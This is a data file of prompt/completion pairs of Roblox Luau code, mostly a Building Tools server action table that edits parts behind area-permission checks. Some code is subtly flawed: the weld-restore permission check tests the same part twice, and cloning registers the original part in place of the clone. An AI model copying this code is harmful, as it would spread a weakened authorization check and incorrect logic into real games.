prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-- List of actions that could be requested
|
Actions = {
['RecolorHandle'] = function (NewColor)
-- Recolors the tool handle
Tool.Handle.BrickColor = NewColor;
end;
['Clone'] = function (Parts)
-- Clones the given parts
-- Make sure the given items are all parts
if not ArePartsSelectable(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then
return;
end;
local Clones = {};
-- Clone the parts
for _, Part in pairs(Parts) do
-- Create the clone
local Clone = Part:Clone();
Clone.Parent = Options.DefaultPartParent;
-- Register the clone
table.insert(Clones, Clone);
CreatedInstances[Part] = Part;
end;
-- Return the clones
return Clones;
end;
['CreatePart'] = function (PartType, Position)
-- Creates a new part based on `PartType`
-- Create the part
local NewPart = Support.CreatePart(PartType);
NewPart.TopSurface = Enum.SurfaceType.Smooth;
NewPart.BottomSurface = Enum.SurfaceType.Smooth;
-- Position the part
NewPart.CFrame = Position;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas({ NewPart }), Player);
-- Make sure the player is allowed to create parts in the area
if Security.ArePartsViolatingAreas({ NewPart }, Player, false, AreaPermissions) then
return;
end;
-- Parent the part
NewPart.Parent = Options.DefaultPartParent;
-- Register the part
CreatedInstances[NewPart] = NewPart;
-- Return the part
return NewPart;
end;
['Remove'] = function (Objects)
-- Removes the given objects
-- Get the relevant parts for each object, for permission checking
local Parts = {};
-- Go through the selection
for _, Object in pairs(Objects) do
-- Make sure the object still exists
if Object then
if Object:IsA 'BasePart' then
table.insert(Parts, Object);
elseif Object:IsA 'Smoke' or Object:IsA 'Fire' or Object:IsA 'Sparkles' or Object:IsA 'DataModelMesh' or Object:IsA 'Decal' or Object:IsA 'Texture' or Object:IsA 'Light' then
table.insert(Parts, Object.Parent);
end;
end;
end;
-- Ensure relevant parts are selectable
if not ArePartsSelectable(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- After confirming permissions, perform each removal
for _, Object in pairs(Objects) do
-- Store the part's current parent
LastParents[Object] = Object.Parent;
-- Register the object
CreatedInstances[Object] = Object;
-- Set the object's current parent to `nil`
Object.Parent = nil;
end;
end;
['UndoRemove'] = function (Objects)
-- Restores the given removed objects to their last parents
-- Get the relevant parts for each object, for permission checking
local Parts = {};
-- Go through the selection
for _, Object in pairs(Objects) do
-- Make sure the object still exists, and that its last parent is registered
if Object and LastParents[Object] then
if Object:IsA 'BasePart' then
table.insert(Parts, Object);
elseif Object:IsA 'Smoke' or Object:IsA 'Fire' or Object:IsA 'Sparkles' or Object:IsA 'DataModelMesh' or Object:IsA 'Decal' or Object:IsA 'Texture' or Object:IsA 'Light' then
table.insert(Parts, Object.Parent);
end;
end;
end;
-- Ensure relevant parts are selectable
if not ArePartsSelectable(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then
return;
end;
-- After confirming permissions, perform each removal
for _, Object in pairs(Objects) do
-- Store the part's current parent
local LastParent = LastParents[Object];
LastParents[Object] = Object.Parent;
-- Register the object
CreatedInstances[Object] = Object;
-- Set the object's parent to the last parent
Object.Parent = LastParent;
end;
end;
['SyncMove'] = function (Changes)
-- Updates parts server-side given their new CFrames
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not ArePartsSelectable(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
Change.InitialState = { Anchored = Change.Part.Anchored, CFrame = Change.Part.CFrame };
ChangeSet[Change.Part] = Change;
end;
end;
-- Preserve joints
for Part, Change in pairs(ChangeSet) do
Change.Joints = PreserveJoints(Part, ChangeSet);
end;
-- Perform each change
for Part, Change in pairs(ChangeSet) do
-- Stabilize the parts and maintain the original anchor state
Part.Anchored = true;
Part:BreakJoints();
Part.Velocity = Vector3.new();
Part.RotVelocity = Vector3.new();
-- Set the part's CFrame
Part.CFrame = Change.CFrame;
end;
-- Make sure the player is authorized to move parts into this area
if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then
-- Revert changes if unauthorized destination
for Part, Change in pairs(ChangeSet) do
Part.CFrame = Change.InitialState.CFrame;
end;
end;
-- Restore the parts' original states
for Part, Change in pairs(ChangeSet) do
Part:MakeJoints();
RestoreJoints(Change.Joints);
Part.Anchored = Change.InitialState.Anchored;
end;
end;
['SyncResize'] = function (Changes)
-- Updates parts server-side given their new sizes and CFrames
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not ArePartsSelectable(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
Change.InitialState = { Anchored = Change.Part.Anchored, Size = Change.Part.Size, CFrame = Change.Part.CFrame };
ChangeSet[Change.Part] = Change;
end;
end;
-- Perform each change
for Part, Change in pairs(ChangeSet) do
-- Stabilize the parts and maintain the original anchor state
Part.Anchored = true;
Part:BreakJoints();
Part.Velocity = Vector3.new();
Part.RotVelocity = Vector3.new();
-- Set the part's size and CFrame
Part.Size = Change.Size;
Part.CFrame = Change.CFrame;
end;
-- Make sure the player is authorized to move parts into this area
if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then
-- Revert changes if unauthorized destination
for Part, Change in pairs(ChangeSet) do
Part.Size = Change.InitialState.Size;
Part.CFrame = Change.InitialState.CFrame;
end;
end;
-- Restore the parts' original states
for Part, Change in pairs(ChangeSet) do
Part:MakeJoints();
Part.Anchored = Change.InitialState.Anchored;
end;
end;
['SyncRotate'] = function (Changes)
-- Updates parts server-side given their new CFrames
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not ArePartsSelectable(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
Change.InitialState = { Anchored = Change.Part.Anchored, CFrame = Change.Part.CFrame };
ChangeSet[Change.Part] = Change;
end;
end;
-- Preserve joints
for Part, Change in pairs(ChangeSet) do
Change.Joints = PreserveJoints(Part, ChangeSet);
end;
-- Perform each change
for Part, Change in pairs(ChangeSet) do
-- Stabilize the parts and maintain the original anchor state
Part.Anchored = true;
Part:BreakJoints();
Part.Velocity = Vector3.new();
Part.RotVelocity = Vector3.new();
-- Set the part's CFrame
Part.CFrame = Change.CFrame;
end;
-- Make sure the player is authorized to move parts into this area
if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then
-- Revert changes if unauthorized destination
for Part, Change in pairs(ChangeSet) do
Part.CFrame = Change.InitialState.CFrame;
end;
end;
-- Restore the parts' original states
for Part, Change in pairs(ChangeSet) do
Part:MakeJoints();
RestoreJoints(Change.Joints);
Part.Anchored = Change.InitialState.Anchored;
end;
end;
['SyncColor'] = function (Changes)
-- Updates parts server-side given their new colors
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not ArePartsSelectable(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Perform each change
for Part, Change in pairs(ChangeSet) do
-- Set the part's color
Part.Color = Change.Color;
-- If this part is a union, set its UsePartColor state
if Part.ClassName == 'UnionOperation' then
Part.UsePartColor = Change.UnionColoring;
end;
end;
end;
['SyncSurface'] = function (Changes)
-- Updates parts server-side given their new surfaces
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not ArePartsSelectable(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Perform each change
for Part, Change in pairs(ChangeSet) do
-- Apply each surface change
for Surface, SurfaceType in pairs(Change.Surfaces) do
Part[Surface .. 'Surface'] = SurfaceType;
end;
end;
end;
['CreateLights'] = function (Changes)
-- Creates lights in the given parts
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not ArePartsSelectable(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Make a list of allowed light type requests
local AllowedLightTypes = { PointLight = true, SurfaceLight = true, SpotLight = true };
-- Keep track of the newly created lights
local Lights = {};
-- Create each light
for Part, Change in pairs(ChangeSet) do
-- Make sure the requested light type is valid
if AllowedLightTypes[Change.LightType] then
-- Create the light
local Light = Instance.new(Change.LightType, Part);
table.insert(Lights, Light);
-- Register the light
CreatedInstances[Light] = Light;
end;
end;
-- Return the new lights
return Lights;
end;
['SyncLighting'] = function (Changes)
-- Updates aspects of the given selection's lights
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not ArePartsSelectable(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Make a list of allowed light type requests
local AllowedLightTypes = { PointLight = true, SurfaceLight = true, SpotLight = true };
-- Update each part's lights
for Part, Change in pairs(ChangeSet) do
-- Make sure that the light type requested is valid
if AllowedLightTypes[Change.LightType] then
-- Grab the part's light
local Light = Support.GetChildOfClass(Part, Change.LightType);
-- Make sure the light exists
if Light then
-- Make the requested changes
if Change.Range ~= nil then
Light.Range = Change.Range;
end;
if Change.Brightness ~= nil then
Light.Brightness = Change.Brightness;
end;
if Change.Color ~= nil then
Light.Color = Change.Color;
end;
if Change.Shadows ~= nil then
Light.Shadows = Change.Shadows;
end;
if Change.Face ~= nil then
Light.Face = Change.Face;
end;
if Change.Angle ~= nil then
Light.Angle = Change.Angle;
end;
end;
end;
end;
end;
['CreateDecorations'] = function (Changes)
-- Creates decorations in the given parts
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not ArePartsSelectable(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Make a list of allowed decoration type requests
local AllowedDecorationTypes = { Smoke = true, Fire = true, Sparkles = true };
-- Keep track of the newly created decorations
local Decorations = {};
-- Create each decoration
for Part, Change in pairs(ChangeSet) do
-- Make sure the requested decoration type is valid
if AllowedDecorationTypes[Change.DecorationType] then
-- Create the decoration
local Decoration = Instance.new(Change.DecorationType, Part);
table.insert(Decorations, Decoration);
-- Register the decoration
CreatedInstances[Decoration] = Decoration;
end;
end;
-- Return the new decorations
return Decorations;
end;
['SyncDecorate'] = function (Changes)
-- Updates aspects of the given selection's decorations
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not ArePartsSelectable(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Make a list of allowed decoration type requests
local AllowedDecorationTypes = { Smoke = true, Fire = true, Sparkles = true };
-- Update each part's decorations
for Part, Change in pairs(ChangeSet) do
-- Make sure that the decoration type requested is valid
if AllowedDecorationTypes[Change.DecorationType] then
-- Grab the part's decoration
local Decoration = Support.GetChildOfClass(Part, Change.DecorationType);
-- Make sure the decoration exists
if Decoration then
-- Make the requested changes
if Change.Color ~= nil then
Decoration.Color = Change.Color;
end;
if Change.Opacity ~= nil then
Decoration.Opacity = Change.Opacity;
end;
if Change.RiseVelocity ~= nil then
Decoration.RiseVelocity = Change.RiseVelocity;
end;
if Change.Size ~= nil then
Decoration.Size = Change.Size;
end;
if Change.Heat ~= nil then
Decoration.Heat = Change.Heat;
end;
if Change.SecondaryColor ~= nil then
Decoration.SecondaryColor = Change.SecondaryColor;
end;
if Change.SparkleColor ~= nil then
Decoration.SparkleColor = Change.SparkleColor;
end;
end;
end;
end;
end;
['CreateMeshes'] = function (Changes)
-- Creates meshes in the given parts
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not ArePartsSelectable(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Keep track of the newly created meshes
local Meshes = {};
-- Create each mesh
for Part, Change in pairs(ChangeSet) do
-- Create the mesh
local Mesh = Instance.new('SpecialMesh', Part);
table.insert(Meshes, Mesh);
-- Register the mesh
CreatedInstances[Mesh] = Mesh;
end;
-- Return the new meshes
return Meshes;
end;
['SyncMesh'] = function (Changes)
-- Updates aspects of the given selection's meshes
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not ArePartsSelectable(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Update each part's meshes
for Part, Change in pairs(ChangeSet) do
-- Grab the part's mesh
local Mesh = Support.GetChildOfClass(Part, 'SpecialMesh');
-- Make sure the mesh exists
if Mesh then
-- Make the requested changes
if Change.VertexColor ~= nil then
Mesh.VertexColor = Change.VertexColor;
end;
if Change.MeshType ~= nil then
Mesh.MeshType = Change.MeshType;
end;
if Change.Scale ~= nil then
Mesh.Scale = Change.Scale;
end;
if Change.Offset ~= nil then
Mesh.Offset = Change.Offset;
end;
if Change.MeshId ~= nil then
Mesh.MeshId = Change.MeshId;
end;
if Change.TextureId ~= nil then
Mesh.TextureId = Change.TextureId;
end;
end;
end;
end;
['CreateTextures'] = function (Changes)
-- Creates textures in the given parts
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not ArePartsSelectable(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Make a list of allowed texture type requests
local AllowedTextureTypes = { Texture = true, Decal = true };
-- Keep track of the newly created textures
local Textures = {};
-- Create each texture
for Part, Change in pairs(ChangeSet) do
-- Make sure the requested light type is valid
if AllowedTextureTypes[Change.TextureType] then
-- Create the texture
local Texture = Instance.new(Change.TextureType, Part);
Texture.Face = Change.Face;
table.insert(Textures, Texture);
-- Register the texture
CreatedInstances[Texture] = Texture;
end;
end;
-- Return the new textures
return Textures;
end;
['SyncTexture'] = function (Changes)
-- Updates aspects of the given selection's textures
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not ArePartsSelectable(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Make a list of allowed texture type requests
local AllowedTextureTypes = { Texture = true, Decal = true };
-- Update each part's textures
for Part, Change in pairs(ChangeSet) do
-- Make sure that the texture type requested is valid
if AllowedTextureTypes[Change.TextureType] then
-- Get the right textures within the part
for _, Texture in pairs(Part:GetChildren()) do
if Texture.ClassName == Change.TextureType and Texture.Face == Change.Face then
-- Perform the changes
if Change.Texture ~= nil then
Texture.Texture = Change.Texture;
end;
if Change.Transparency ~= nil then
Texture.Transparency = Change.Transparency;
end;
if Change.StudsPerTileU ~= nil then
Texture.StudsPerTileU = Change.StudsPerTileU;
end;
if Change.StudsPerTileV ~= nil then
Texture.StudsPerTileV = Change.StudsPerTileV;
end;
end;
end;
end;
end;
end;
['SyncAnchor'] = function (Changes)
-- Updates parts server-side given their new anchor status
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not ArePartsSelectable(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Perform each change
for Part, Change in pairs(ChangeSet) do
Part.Anchored = Change.Anchored;
end;
end;
['SyncCollision'] = function (Changes)
-- Updates parts server-side given their new collision status
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not ArePartsSelectable(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Perform each change
for Part, Change in pairs(ChangeSet) do
Part.CanCollide = Change.CanCollide;
end;
end;
['SyncMaterial'] = function (Changes)
-- Updates parts server-side given their new material
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not ArePartsSelectable(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Perform each change
for Part, Change in pairs(ChangeSet) do
if Change.Material ~= nil then
Part.Material = Change.Material;
end;
if Change.Transparency ~= nil then
Part.Transparency = Change.Transparency;
end;
if Change.Reflectance ~= nil then
Part.Reflectance = Change.Reflectance;
end;
end;
end;
['CreateWelds'] = function (Parts, TargetPart)
-- Creates welds for the given parts to the target part
-- Ensure parts are selectable
if not ArePartsSelectable(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
local Welds = {};
-- Create the welds
for _, Part in pairs(Parts) do
-- Make sure we're not welding this part to itself
if Part ~= TargetPart then
-- Calculate the offset of the part from the target part
local Offset = Part.CFrame:toObjectSpace(TargetPart.CFrame);
-- Create the weld
local Weld = Instance.new('Weld');
Weld.Name = 'BTWeld';
Weld.Part0 = TargetPart;
Weld.Part1 = Part;
Weld.C1 = Offset;
Weld.Archivable = true;
Weld.Parent = TargetPart;
-- Register the weld
CreatedInstances[Weld] = Weld;
table.insert(Welds, Weld);
end;
end;
-- Return the welds created
return Welds;
end;
['RemoveWelds'] = function (Welds)
-- Removes the given welds
local Parts = {};
-- Go through each weld
for _, Weld in pairs(Welds) do
-- Make sure each given weld is valid
if Weld.ClassName ~= 'Weld' then
return;
end;
-- Collect the relevant parts for this weld
table.insert(Parts, Weld.Part0);
table.insert(Parts, Weld.Part1);
end;
-- Ensure parts are selectable
if not ArePartsSelectable(Parts) then
return;
end;
local WeldsRemoved = 0;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Go through each weld
for _, Weld in pairs(Welds) do
-- Check the permissions on each weld-related part
local Part0Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part0 }, Player, true, AreaPermissions);
local Part1Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part1 }, Player, true, AreaPermissions);
-- If at least one of the involved parts is authorized, remove the weld
if not Part0Unauthorized or not Part1Unauthorized then
-- Register the weld
CreatedInstances[Weld] = Weld;
LastParents[Weld] = Weld.Parent;
WeldsRemoved = WeldsRemoved + 1;
-- Remove the weld
Weld.Parent = nil;
end;
end;
-- Return the number of welds removed
return WeldsRemoved;
end;
['UndoRemovedWelds'] = function (Welds)
-- Restores the given removed welds
local Parts = {};
-- Go through each weld
for _, Weld in pairs(Welds) do
-- Make sure each given weld is valid
if Weld.ClassName ~= 'Weld' then
return;
end;
-- Make sure each weld has its old parent registered
if not LastParents[Weld] then
return;
end;
-- Collect the relevant parts for this weld
table.insert(Parts, Weld.Part0);
table.insert(Parts, Weld.Part1);
end;
-- Ensure parts are selectable
if not ArePartsSelectable(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Go through each weld
for _, Weld in pairs(Welds) do
-- Check the permissions on each weld-related part
local Part0Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part0 }, Player, false, AreaPermissions);
local Part1Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part0 }, Player, false, AreaPermissions);
-- If at least one of the involved parts is authorized, restore the weld
if not Part0Unauthorized or not Part1Unauthorized then
-- Store the part's current parent
local LastParent = LastParents[Weld];
LastParents[Weld] = Weld.Parent;
-- Register the weld
CreatedInstances[Weld] = Weld;
-- Set the weld's parent to the last parent
Weld.Parent = LastParent;
end;
end;
end;
['Export'] = function (Parts)
-- Serializes, exports, and returns ID for importing given parts
-- Offload action to server-side if API is running locally
if RunService:IsClient() and not RunService:IsStudio() then
return SyncAPI.ServerEndpoint:InvokeServer('Export', Parts);
end;
-- Ensure valid selection
assert(type(Parts) == 'table', 'Invalid item table');
-- Ensure there are items to export
if #Parts == 0 then
return;
end;
-- Ensure parts are selectable
if not ArePartsSelectable(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to access these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Get all descendants of the parts
local Items = Support.CloneTable(Parts);
for _, Part in pairs(Parts) do
Support.ConcatTable(Items, Support.GetAllDescendants(Part));
end;
-- After confirming permissions, serialize parts
local SerializedBuildData = Serialization.SerializeModel(Items);
-- Push serialized data to server
local Response = HttpService:JSONDecode(
HttpService:PostAsync(
'http://f3xteam.com/bt/export',
HttpService:JSONEncode { data = SerializedBuildData, version = 3, userId = (Player and Player.UserId) },
Enum.HttpContentType.ApplicationJson,
true
)
);
-- Return creation ID on success
if Response.success then
return Response.id;
else
error('Export failed due to server-side error', 2);
end;
end;
['IsHttpServiceEnabled'] = function ()
-- Returns whether HttpService is enabled
-- Offload action to server-side if API is running locally
if RunService:IsClient() and not RunService:IsStudio() then
return SyncAPI.ServerEndpoint:InvokeServer('IsHttpServiceEnabled');
end;
-- For in-game tool, return cached status if available
if ToolMode == 'Tool' and (IsHttpServiceEnabled ~= nil) then
return IsHttpServiceEnabled;
end;
-- Perform test HTTP request
local Success, Error = pcall(function ()
return HttpService:GetAsync('http://google.com');
end);
-- Determine whether HttpService is enabled
if not Success and Error:match 'Http requests are not enabled' then
IsHttpServiceEnabled = false;
elseif Success then
IsHttpServiceEnabled = true;
end;
-- Return HttpService status
return IsHttpServiceEnabled;
end;
['ExtractMeshFromAsset'] = function (AssetId)
-- Returns the first found mesh in the given asset
-- Offload action to server-side if API is running locally
if RunService:IsClient() and not RunService:IsStudio() then
return SyncAPI.ServerEndpoint:InvokeServer('ExtractMeshFromAsset', AssetId);
end;
-- Ensure valid asset ID is given
assert(type(AssetId) == 'number', 'Invalid asset ID');
-- Return parsed response from API
return HttpService:JSONDecode(
HttpService:GetAsync('http://f3xteam.com/bt/getFirstMeshData/' .. AssetId)
);
end;
['ExtractImageFromDecal'] = function (DecalAssetId)
-- Returns the first image found in the given decal asset
-- Offload action to server-side if API is running locally
if RunService:IsClient() and not RunService:IsStudio() then
return SyncAPI.ServerEndpoint:InvokeServer('ExtractImageFromDecal', DecalAssetId);
end;
-- Return direct response from the API
return HttpService:GetAsync('http://f3xteam.com/bt/getDecalImageID/' .. DecalAssetId);
end;
['SetMouseLockEnabled'] = function (Enabled)
-- Sets whether mouse lock is enabled for the current player
-- Offload action to server-side if API is running locally
if RunService:IsClient() and not RunService:IsStudio() then
return SyncAPI.ServerEndpoint:InvokeServer('SetMouseLockEnabled', Enabled);
end;
-- Set whether mouse lock is enabled
Player.DevEnableMouseLock = Enabled;
end;
};
function ArePartsSelectable(Parts)
-- Returns whether the parts are selectable
-- Check whether each part is selectable
for _, Part in pairs(Parts) do
if not Part:IsA 'BasePart' or Part.Locked then
return false;
end;
end;
-- Return true if all parts are selectable
return true;
end;
|
-- INTER-TRIBE DIPLOMACY
|
function TribeModule:ToggleDiplomacy(tribeA,tribeB,diplomacy)
end
return TribeModule
|
--Motor6D's
|
local neck = torso.Neck
neck.C1 = CFrame.new(0,0,0)
local leftshoulder = torso["Left Shoulder"]
leftshoulder.C1 = CFrame.new(0,0,0)
local rightshoulder = torso["Right Shoulder"]
rightshoulder.C1 = CFrame.new(0,0,0)
local lefthip = torso["Left Hip"]
lefthip.C1 = CFrame.new(0,0,0)
local righthip = torso["Right Hip"]
righthip.C1 = CFrame.new(0,0,0)
